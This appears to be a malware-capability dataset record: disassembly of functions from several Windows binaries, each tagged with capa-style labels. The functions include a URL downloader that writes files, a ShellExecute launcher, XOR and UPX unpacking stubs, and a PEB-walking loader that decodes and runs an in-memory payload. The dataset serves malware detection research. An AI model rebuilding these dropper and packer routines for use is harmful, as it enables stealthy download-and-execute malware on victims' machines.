joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011f0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1010
call fcn.00402c10
push ebx
push ebp
push esi
push edi
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 1
push eax
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x68
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2a], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x401247
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1010
ret
mov ecx, dword [esp + 0x1024]
push 0
push 0x80000000
push 0
push 0
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40127b
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1010
ret
mov edx, dword [esp + 0x1028]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4012bb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1010
ret
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
push 0x1000
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401311
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x18]
test eax, eax
jbe 0x401311
lea edx, [esp + 0x1c]
push 0
push edx
push eax
lea eax, [esp + 0x2c]
push eax
push edi
call ebp
test eax, eax
je 0x401331
lea ecx, [esp + 0x18]
lea edx, [esp + 0x20]
push ecx
push 0x1000
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4012db
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x1010
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1010
ret

Function at 0x401360
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push 5
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
seta al
ret

Function at 0x414599
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4145db
call fcn.004242e0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4145db
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4145d2
xor eax, eax
jmp 0x4145e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004145e9
pop edi
pop esi
pop ebx
ret 4
Function at 0x415992
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x425fe8
call fcn.00402ef8
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.004242e0
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x4159d1
call fcn.004242e0
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4159df
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4159ed
or eax, 0xffffffff
jmp 0x415ad5
mov ecx, esi
call fcn.00415908
mov dword [ebp - 0x14], eax
call fcn.004128a6
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x415a24
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x415a24
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0041285a
push dword [ebp - 0x14]
call fcn.0041238c
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.004156a0
cmp eax, edi
je 0x415a97
test byte [esi + 0x24], 0x10
je 0x415a65
push 4
mov ecx, esi
pop ebx
call fcn.00414dce
test ah, 1
je 0x415a5d
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004147f0
cmp dword [esi + 0x1c], edi
je 0x415a97
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00414eba
jmp 0x415a97
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x415aab
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x415ac4
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x415ac4
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00415942
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4247cd
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4247fb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x424819
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00424733
jmp 0x424819
mov eax, dword [esi + 0x14]
test eax, eax
je 0x424819
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00424733
test edi, edi
mov eax, edi
jne 0x424803
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x14971772
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x30ec2c7f
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4b1a80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f000]
push edi
jmp 0x4b1a9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b1aa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1a90
mov eax, 1
add ebx, ebx
jne 0x4b1ab3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b1ac4
jne 0x4b1ae3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ae3
dec eax
add ebx, ebx
jne 0x4b1ad0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b1aa8
add ebx, ebx
jne 0x4b1adf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b1b35
xor ecx, ecx
sub eax, 3
jb 0x4b1afb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b1b6a
sar eax, 1
mov ebp, eax
jmp 0x4b1b06
add ebx, ebx
jne 0x4b1b06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ad4
inc ecx
add ebx, ebx
jne 0x4b1b14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1ad4
add ebx, ebx
jne 0x4b1b21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b1b16
jne 0x4b1b32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b1b16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b1b54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b1b46
jmp 0x4b1a96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b1b54
add edi, ecx
jmp 0x4b1a96
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b1b72
cmp byte [edi], 0x11
jne 0x4b1b72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b1b77
lea edi, [esi + 0xad000]
mov eax, dword [edi]
or eax, eax
je 0x4b1bef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb2278]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb23cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b1ba4
mov ecx, edi
jns 0x4b1bd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb23d0]
or eax, eax
je 0x4b1be9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b1bc1
call dword [esi + 0xb23e0]
mov ebp, dword [esi + 0xb23d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b1c23
sub esp, 0xffffff80
jmp 0x416310
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x414338
push dword [0x414318]
push 0x41431c
push dword [0x414338]
push 0x41433c
call fcn.0040102b
add esp, 0x14
push 0x41433c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x414358
push dword [0x414318]
push 0x41431c
push dword [0x414358]
push 0x41435c
call fcn.0040102b
add esp, 0x14
push 0x41435c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x414378
push dword [0x414318]
push 0x41431c
push dword [0x414378]
push 0x41437c
call fcn.0040102b
add esp, 0x14
push 0x41437c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x404038]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404040
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x404038]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x404714
push dword [0x40403c]
push 0x4046e0
push dword [0x404714]
push 0x404718
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x4143cc], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x4143cc]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bd26
Capabilities:
Encode data using xor

Disassembly:
push ebp
fmul dword [edx]
ljmp 0xf5fa
or dword [ebx], 0x60e20baa
loop 0x40bd8c
jg 0x40bd6a
lodsd eax, dword [esi]
and al, 6
scasb al, byte es:[edi]
sbb al, 0xf8
inc ecx
cmpsb byte [esi], byte es:[edi]
jo 0x40bd78
push ds
cmp bh, byte [ecx + 0x6d]
insd dword es:[edi], dx
xchg edi, eax
cmc
ja 0x40bda5
jbe 0x40bd52
or eax, 0xde728c6a
sub dword [ebp + 0x27], 0xffffff8e
sub edi, dword [ecx + ecx*4 + 0x3532f524]
js 0x40bd12
xor eax, 0x241bbd78
cmp dword [ecx - 0x6d], eax
sbb esp, dword [ecx + edi]
inc ecx
xchg ebx, eax
js 0x40bdab
in al, dx
jbe 0x40bd3b
cmp al, 0x36
jle 0x40bd2a
add byte [ebx + 0x3e], bh
adc bh, byte [edi + 0x5f]
out 0x37, eax
aaa
aas
not byte [eax + 0x75cc2dfa]
sti
and byte [ebx], 0x36
or byte [eax], ch
imul eax, edx, 0xb8805863
insb byte es:[edi], dx
leave
xchg byte [esi], cl
push cs
add al, 0x30
sub dword [edi + 0x9cc451f], 0x29e869f3
lodsd eax, dword [esi]
xor byte [ebx - 0x326ecd20], 0xf3
call 0xb3c16aba
loopne 0x40bdc5
xchg ecx, eax
int 0xf3
xor eax, 0xd614b54d
jne 0x40bd81
ret 0xc4d9
or al, 0xf2
imul edi, dword [esi], 0xffffffdf
add byte [bp + si - 0x2fbc], 0xf6
test byte [esp + ebp], dh
sub ecx, esi
add byte [edx - 0x7b092fbc], 0x34
sub al, 0x29
int1
and eax, 0x5764592f
leave
add edi, dword [ebp + 0x44]
or dword [eax], esp
dec ebx
Function at 0x100025e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1013a4c8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1017a974]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov eax, dword [0x1017a974]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
push 0x10157d2c
push esi
mov dword [esp + 0x40], 0
call fcn.1000c4a0
add esp, 8
lea ecx, [esp + 0x10]
mov eax, esi
call fcn.10007460
cmp dword [esp + 0x28], 0x10
mov eax, dword [esp + 0x14]
jae 0x10002645
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x24]
push ecx
push eax
push 2
call fcn.100ee528
add esp, 0xc
cmp dword [esp + 0x28], 0x10
jb 0x10002669
mov edx, dword [esp + 0x14]
push edx
call fcn.100d59a5
add esp, 4
add esi, 0x4c
mov ecx, esi
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
mov dword [esp + 0x38], 0xffffffff
call fcn.100073f0
push esi
mov dword [esi], vtable.std::ios_base.0
call fcn.100d50af
add esp, 4
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.100d5eaf
add esp, 0x34
ret

Function at 0x10002bd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1013bab1
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x1017a974]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
xor eax, eax
mov edx, 0xf
mov dword [esi + 0x1c], edx
mov dword [esi + 0x18], eax
mov byte [esi + 8], al
mov dword [esp + 0x14], eax
mov ecx, 1
mov dword [esi + 0x20], ecx
mov byte [esi + 0x24], al
mov byte [esi + 0x25], al
mov byte [esi + 0x26], cl
mov dword [esi + 0x28], 0x800000
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [esi + 0x31], al
mov byte [esi + 0x32], cl
mov byte [esi + 0x33], al
mov byte [esi + 0x34], al
mov byte [esi + 0x35], al
mov dword [esi + 0x50], edx
mov dword [esi + 0x4c], eax
mov byte [esi + 0x3c], al
mov dword [esi + 0x8c], edx
mov dword [esi + 0x88], eax
mov byte [esi + 0x78], al
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push eax
mov edx, esi
mov byte [esp + 0x18], 2
call fcn.10002d70
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 8
Function at 0x10009d40
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x10138dab
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1017a974]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100d50eb
push 4
mov dword [esp + 0x24], 0
call fcn.100d59cb
mov edi, eax
add esp, 4
test edi, edi
je 0x10009dc2
call fcn.100d4e43
mov dword [edi], eax
call fcn.100d4c47
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.100d4ac0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10009db7
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.100d4ae8
jmp 0x10009dc4
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x1000ed80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10139b98
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1017a974]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push edi
mov eax, dword [0x1017a974]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor ebx, ebx
mov edi, ecx
mov dword [esp + 0xc], ebx
cmp dword [edi + 8], ebx
jne 0x1000edfa
mov edi, dword [edi]
cmp edi, ebx
jl 0x1000edc8
cmp edi, 0xe
jb 0x1000edcd
mov edi, 1
lea eax, [edi*8]
push 0xffffffffffffffff
sub eax, edi
lea eax, [eax*4 + 0x10188aa8]
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.10007e70
jmp 0x1000ee8c
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
mov dword [esp + 0x38], ebx
mov eax, dword [edi]
cmp eax, ebx
jl 0x1000ee19
cmp eax, 0xe
jb 0x1000ee1e
mov eax, 1
lea ecx, [eax*8]
push 0xffffffffffffffff
sub ecx, eax
lea edx, [ecx*4 + 0x10188aa8]
push ebx
push edx
lea ecx, [esp + 0x1c]
call fcn.10007c70
push 2
push 0x10157d24
lea ecx, [esp + 0x18]
call fcn.100068e0
mov eax, dword [edi + 8]
mov ecx, dword [edi + 4]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.100068e0
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x18]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push edx
mov ecx, esi
mov byte [esi + 4], bl
call fcn.10007e70
cmp dword [esp + 0x28], 0x10
jb 0x1000ee8c
mov eax, dword [esp + 0x14]
push eax
call fcn.100d59a5
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100d5eaf
add esp, 0x30
ret
Function at 0x10031170
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
lea ebx, [ecx + eax*4 - 0x21524111]
push edi
mov edi, ebx
mov ebp, ebx
cmp eax, 3
jbe 0x1003120e
lea edx, [eax - 4]
mov eax, 0xaaaaaaab
mul edx
shr edx, 1
inc edx
mov dword [esp + 0xc], edx
push esi
mov edi, edi
mov edx, dword [esp + 0x18]
add ebx, dword [edx + 8]
add edi, dword [edx + 4]
mov ecx, dword [edx]
sub ecx, ebx
add ecx, ebp
mov eax, ebx
rol eax, 4
xor eax, ecx
add ebx, edi
sub edi, eax
mov ecx, eax
rol ecx, 6
xor ecx, edi
add eax, ebx
sub ebx, ecx
sub dword [esp + 0x1c], 3
mov esi, ecx
rol esi, 8
xor esi, ebx
add ecx, eax
sub eax, esi
mov edi, esi
rol edi, 0x10
xor edi, eax
mov ebp, edi
add esi, ecx
sub ecx, ebp
mov eax, ebp
ror eax, 0xd
xor eax, ecx
mov edi, eax
add ebp, esi
mov ecx, edi
sub esi, edi
rol ecx, 4
xor ecx, esi
add edx, 0xc
add edi, ebp
sub dword [esp + 0x10], 1
mov ebx, ecx
mov dword [esp + 0x18], edx
jne 0x100311a0
mov eax, dword [esp + 0x1c]
pop esi
sub eax, 1
je 0x1003122b
sub eax, 1
je 0x10031224
sub eax, 1
jne 0x10031274
mov edx, dword [esp + 0x14]
add ebx, dword [edx + 8]
mov eax, dword [esp + 0x14]
add edi, dword [eax + 4]
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
xor ebx, edi
mov ecx, edi
rol ecx, 0xe
sub ebx, ecx
add eax, ebp
xor eax, ebx
mov edx, ebx
rol edx, 0xb
sub eax, edx
xor edi, eax
mov ecx, eax
ror ecx, 7
sub edi, ecx
xor ebx, edi
mov edx, edi
rol edx, 0x10
sub ebx, edx
mov edx, ebx
mov ecx, ebx
xor ecx, eax
rol edx, 4
sub ecx, edx
mov eax, ecx
xor edi, ecx
rol eax, 0xe
sub edi, eax
mov ecx, edi
ror ecx, 8
xor ebx, edi
sub ebx, ecx
pop edi
pop ebp
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x10031960
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x19c
mov eax, dword [0x1017a974]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
push edi
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100319a4
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.100d5eaf
add esp, 0x19c
ret
mov esi, dword [sym.imp.WS2_32.dll_gethostbyname]
push str.tqos.gamesafe.qq.com
call esi
test eax, eax
je 0x100319c0
mov edi, eax
call fcn.100318f0
test eax, eax
je 0x100319dc
mov eax, 0xfffffffe
pop edi
pop esi
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.100d5eaf
add esp, 0x19c
ret
push str.tqos.gamesafe.qq.com
call esi
test eax, eax
je 0x100319c0
mov edi, eax
call fcn.10031880
test eax, eax
jne 0x100319c0
call fcn.10031840
mov ecx, dword [esp + 0x19c]
neg eax
pop edi
sbb eax, eax
pop esi
xor ecx, esp
and eax, 0xfffffffc
call fcn.100d5eaf
add esp, 0x19c
ret
Function at 0x10031a40
Capabilities:
Create udp socket
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [0x101c63f0], 0
je 0x10031a53
cmp dword [0x101c6400], 0
jne 0x10031a61
call fcn.10031960
test eax, eax
je 0x10031a61
or eax, 0xffffffff
pop ecx
ret
mov eax, dword [0x1017e40c]
cmp eax, 0xffffffff
jne 0x10031a88
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1017e40c], eax
cmp eax, 0xffffffff
jne 0x10031a88
mov eax, 0xfffffffe
pop ecx
ret
mov ecx, ebx
sub ecx, 1
je 0x10031a9e
sub ecx, 1
je 0x10031a9e
sub ecx, 2
mov ecx, 0x101c63fc
je 0x10031aa3
mov ecx, 0x101c63ec
test bl, 8
je 0x10031aad
mov ecx, 0x101c63dc
mov edx, dword [esp + 8]
push 0x10
push ecx
mov ecx, dword [esp + 0x14]
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x10031ae5
mov eax, dword [0x1017e40c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x1017e40c], 0xffffffff
mov eax, 0xfffffffd
pop ecx
ret
xor eax, eax
pop ecx
ret